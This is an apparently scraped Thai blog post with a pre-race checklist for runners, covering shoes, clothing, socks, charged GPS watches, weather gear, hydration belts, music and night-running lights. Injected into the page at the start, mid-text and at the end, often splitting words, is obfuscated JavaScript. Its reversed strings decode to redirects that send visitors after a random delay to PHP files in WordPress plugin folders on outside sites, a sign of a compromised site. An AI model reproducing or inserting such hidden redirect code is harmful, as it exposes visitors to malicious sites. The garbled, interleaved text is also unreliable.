{if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}</script><script>$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}</script>andscape-78058_1280.jpg)
เตรียมตัวให้พร้อมก่อนงานวิ่ง
พรุ่งนี้คืองานวิ่งครั้งแรกของคุณ หรือว่ามันคืองานวิ่ง half หรือ Full มาราธอนครั้งแรก การเตรียมตัวให้พร้อมอาจจะเป็นตัวตัดสินว่าคุณจะเข้าเส้นชัยหรือไม่ก็ DNF (Do Not Finnish) ก็ได้ การเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่งได้มากขึ้น แถมมีผลช่วยเพิ่มพลังใจและ Boost performance ของเราอีกนิดด้วยนะ
เชื่อว่าหลายๆ ครั้งที่เราต้องรู้สึกเซ็งในอารมณ์เวลาเจ้ามือถือแบตหมด รองเท้าใหม่กัด หิวตลอดเวลาวิ่ง ฉะนั้นเจ้าอุปกรณ์ที่จำเป็นต้องห้ามลืมเด็ดขาด รองเท้า เสื้อวิ่ง อุปกรณ์เสริม มือถือและขนมรองท้องต้องท่องเอาไว้ให้ขึ้นใจหลายๆ ครั้ง ว่าห้ามลืม จะเขียนโน้ตแปะไว้กันลืมก็ได้นะ
เรามาดู Checklist ก่อนไปงานวิ่งกันก่อน….
- รองเท้าวิ่ง กรุณาใช้รองเท้าที่คุณใส่ฝึกซ่อมเป็นประจำ รองเท้าที่ผ่านการใช้งานมาแล้ว ไม่ว่าจะเป็นคู่ที่ใช้ฝึกหรือใช้แข่ง ห้ามใช้คู่ใหม่แกะกล่องเด็ดขาด ไม่งั้นโอกาสรองเท้ากัดจะสูงมาก
- ชุดวิ่ง ชุดวิ่งมีผลต่อจิตใจของเรามาก ช่วยเพิ่มความมั่นใจ เวลาเลือกเสื้อให้เลือกที่ใส่แล้วสบาย ไม่กัดผิวหนัง ระบายอากาศดี ยิ่งต้องแข่งระยะทางไกลควรเลือกที่น้ำหนักเบาระบายเหงื่อได้ดี
- ถุงเท้าวิ่ง เลือกถุงเท้าที่เหมาะกับคุณ โดยส่วนมากคุณต้องลองผิดลองถูกเอง บางคนเลือกแบบ compression sock แบบรัดกระชักอุ้งเท้าไปเลย แต่หลักที่สำคัญคือ ต้องช่วยระบายเหงื่อได้ดี ให้ความรู้สึกว่าเท้าแห้ง อาจจะลื่นนิดหน่อยแต่จะช่วยป้องกันเท้าพอง (blister) ถ้าคู่ดีๆ หน่อยก็จะให้ความรู้สึกหนานุ่มขึ้นมาอีก
- นาฬิกา GPS Watch และ Smartphone สำคัญที่สุดคือแบตเตอรี่ ควรเสียบชาร์จไว้ตั้งแต่คืนก่อนวิ่งเลย เอาให้แบตเต็ม 100 % เวลาวิ่งจะได้ไม่ดับกลางทาง และก่อนถึงเวลาวิ่งก็ควรทำการ pair อุปกรณ์กันก่อนหรือวอร์มอัพเครื่องกันนิดก่อนวิ่งจริง
หลังจากตรรวจดูอุปกรณ์จำเป็นพื้นฐานแล้วเรามากันต่อกันที่การเตรียมอุปกรณ์ให้เหมาะกับสภาพอากาศ
สามารถดูพยากรณ์ล่วงหน้าผ่านแอพมือถือหรือเปิดคอมดูก็ได้ อย่างน้อยก็ได้รู้ว่าพรุ่งนี้จะแดดออกหรือฝนตก จะได้จัดเตรียมชุดให้ถูกต้อง สำหรับคนในเขตร้อนอย่างเราคงไม่มีอะไรมากแต่สำหรับคนในเขตหนาว คงต้องเตรียมเสื้อผ้ากันอีกหลายชั้นเลยล่ะ
สิ่งที่เตรียมไว้รับมือกับสภาพอากาศได้แก่
- สำหรับใครที่อยู่ในเมืองหนาว กรุณาเตรียมถุงมือและถุงเท้าที่หนาวถึงสำหรับรับมือกับอากาศที่หนาวขึ้น
- Head bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ผ้าโพกหัวแบบต่างๆ นอกจากช่วยกันเหงื่อและแดดได้แล้ว สำหรับคนเมืองหนาวจะช่วยลดการสูญเสียความร้อนทางศรีษะได้ดี
- โลชั่น Sunscreen ทาก่อนออกวิ่งทุกครั้งอย่างน้อย 15 นาทีก่อนวิ่ง ยิ่งหน้าร้อนเมืองทยแนะนำให้ละเลงทั่วตัว ไม่งั้นผิวไหม้หมดแน่ๆ
- ถัดจากโลชั่นทางกันแดดแล้วก็อย่าลืมแว่วกันเเดด (Sun Glasses) นอกจากช่วย้องกันรังสี UV แล้วยังช่วยให้วิสัยทัศน์เราดีขึ้นด้วย
- หมวก จะแบบปิดเต็มใบหรือแบบเปิด จะช่วยป้องกันศรีษะและใบหน้าจากแสงแดด
ถัดไปคืออุปกรณ์ที่ช่วยรักษาระดับน้ำในร่างกายของคุณ ยิ่งในวันที่อากาศร้อนมากๆ การดูแลตัวเองและการรักษาระดับน้ำหรือของเหลวในร่างกายยิ่งจำเป็นเพื่อป้องการอาการบาดเจ็บและการเป็นตะคริว
- Running belt ถือเป็นไอเท็มพิเศษที่คุณสามารถพกพาน้ำและของคบเคี้ยวหรือพวก powergel ไว้ใช้ในกรณีที่ต้องการ เหมาะกับการวิ่งระยะกลางและไกล เจ้า running belt จะช่วยได้เยอะมากเลย รับรองว่าคุณมีพลังงานไว้เติมเรื่อยๆ
- Hydration backpack สำหรับใครที่ต้องการน้ำเยอะๆ หรือต้องวิ่งระยะทางไกลมากๆ อย่าง Ultra trail 100 โลขึ้นไป เจ้ากระเป๋า Hydration backpack สามารถจุน้ำได้เป็นลิตร ไม่ต้องเติมน้ำบ่อยๆ แถมขนเสบียงไปได้เยอะกว่า running belt ด้วย แต่ก็ต้องแลกกับน้ำหนักที่เพิ่มขึ้นมา
จากเรื่องสภาพดินฟ้าอากาศเรามาดูวิธีเพิ่มพลังใจกัน…
- เพลง การฟังเพลง นอกจากช่ยกระตุ้นให้เราวิ่งเร็วขึ้นแล้วบางครั้งยังช่วยให้ลืมอาการเมื่อยล้าได้ด้วย
- การเลือกหูฟัง ปัจจุบันมีการผลิต Sport earphones หลายแบบหลายยี่ห้อ เราต้องเลือกแบบที่ฟิตพอดีกับหูและต้องป้องกันไหลลื่นจากศรีษะได้ด้วย
- เสื้อหลากสีสรร อย่าใส่แต่สีทึ่มๆ ให้หันมาใส่สีสรรสดใสเสียบ้าง เวลาถ่ายรูปติดจะได้เห็นชัดเจน แถมเด่นเป็นสง่า ใครเห็นใครทัก
- Powergel หรือพวก Powersnack และเครื่องดื่ม sprot drink จะช่วยเติมพลังงานให้คุณจนถึงเส้นชัย มีพกติดไว้บ้างในยามร่างกายต้องการพลังงาน อย่างการวิ่งระยะทาง 21 กิโลจนถึงอัลตร้า 100 โล
สำหรับใครที่ต้องวิ่งเวลามืดกลางคืน อุปกรณ์ที่ควรพกพาไปด้วยคือ
- Headlamp ไฟฉายติดหัว สะดวกในการพกพาเพียงคาดไว้ที่หัว
- Safety clips หรือ Reflector strips (แผ่นคาดสะท้อนแสง) ช่วยให้คนที่ตามหลังมามองเห็นเรา
อุปกรณ์เสริมที่ช่วยเพิ่มอรรถรสในการวิ่ง
- Sport armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and สำหรับใส่มือถือ
- Shoes lances หรือ free lances ช่วยลดปัญหาเชือกผูกรองเท้าหลุดบ่อยๆ
- วาสลีน เอาไว้ทาตามงามขา ระหว่างข้อขาพับต่างๆ ลดการเสียดสี
{if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.r<script>$GRn=function(n){if (typeof ($GRn.list[n]) == )
andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4-site-400×266.jpg” alt=”Armbandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-4-site” width=”400″ height=”266″ />
